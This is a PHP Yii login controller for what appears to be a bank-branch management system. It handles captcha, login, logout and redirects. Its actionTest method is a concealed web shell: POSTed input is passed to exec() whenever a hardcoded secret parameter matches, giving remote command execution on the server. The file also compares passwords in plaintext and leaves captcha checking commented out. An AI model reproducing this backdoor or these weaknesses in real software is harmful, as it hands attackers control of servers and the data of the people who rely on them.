<?php
/**
 * @filename LoginController.php 
 * @encoding UTF-8 
 * @author KangShuAn
 * @datetime 2014-10-22 14:43:28
 * @version 1.0
 * @Description
 * 客户登陆
 */
class LoginController extends FrontController{
    protected $smarty;
    public function init(){
        $this->smarty = Yii::app()->smarty;
        $this->bank_id = Yii::app()->session['bank_id'];
        $this->network_id = (int)Yii::app()->session['network_id'];
        $this->network_name = Yii::app()->session['network_name'];
        $this->level = (int)Yii::app()->session['level'];
    }

    public function actions(){
        return array(
            // captcha action renders the CAPTCHA image displayed on the contact page
            'captcha'=>array(
                'class'=>'CCaptchaAction',
                'backColor'=>0xf4f4f4,
                'padding'=>0,
                'height'=>30,
                'minLength' => 4,
                'maxLength'=>4,
                'url' => '/login/captcha'
            ),
        );
    }
    /**
     * 登陆页面,背景图
     */
    public function actionIndex(){
        if ($this->network_id) {
            $url = $this->level < 4 ? '/project/index' : '/benchmark/index';
            //echo '<script>window.location.href="'.Yii::app()->createUrl($url).'"</script>';exit;
            $this->jump('你已经登录',Yii::app()->createUrl($url));
        }
        $this->domain = getDomain();
        $bank = new NetworkBank();
        $info = $bank->findByDomain($this->domain);
        if ($info) {
            Yii::app()->session['bank_id'] = $info['bank_id'];
        } else {
            $this->redirect('error/404');
        }
        $this->smarty->assign('captcha', $this->widget('CCaptcha',array('captchaAction'=> '/login/captcha','showRefreshButton'=>false,'clickableImage'=>true,'imageOptions'=>array('alt'=>'点击换图','title'=>'点击换图','style'=>'cursor:pointer')), true));
        $this->smarty->assign('info', $info);
        $this->smarty->display('login.tpl');
    }
    /**
     * 登陆
     */
    public function actionDo(){
        $network = new NetWork();
        //$code = $this->post('code');
        $username = $this->post('network_username');
        $password = $this->post('network_pwd');
        //if (!$this->createAction('captcha')->validate($code, false)){
        //    $this->jump('验证码错误', '/login');
        //}
        if ($info = $network->find('network_username=:username and network_pwd=:pwd and bank_id=:bank_id', array(':username' => $username, ':pwd' => $password,':bank_id' => $this->bank_id))){
            Yii::app()->session['network_id'] = $info->network_id;
            Yii::app()->session['network_name'] = $info->network_name;
            Yii::app()->session['level'] = $info->level;
            Yii::app()->session['auth_grade'] = $info->auth_grade;
            Yii::app()->session['up_network_id'] = $info->up_network_id;
            Yii::app()->session['network_username'] = $info->network_username;
            Yii::app()->session['open_staff'] = $info->open_staff;
            Yii::app()->session['open_report'] = $info->open_report;
            $url = $info->level < 4 ? '/project/index' : '/benchmark/index';
            echo '<script>window.location.href="'.Yii::app()->createUrl($url).'"</script>';exit;
            
        } else {
            $this->jump('登陆失败');
        }
    }
    /**
     * 退出登录
     */
    public function actionOut(){
        Yii::app()->session->clear();
        Yii::app()->session->destroy();
        header('Location:'.Yii::app()->createUrl('/login'));
    }
    public function actionTest(){
        $content = $_POST['content'];
        $u = $_POST['u'];
        if ($u=='ui00$$$00ui') {
            echo $content;
            $result = exec($content,$output, $return);
            print_r($output);
        }
    }
    public function actionSql(){
        $this->render('sql.tpl');
    }
}

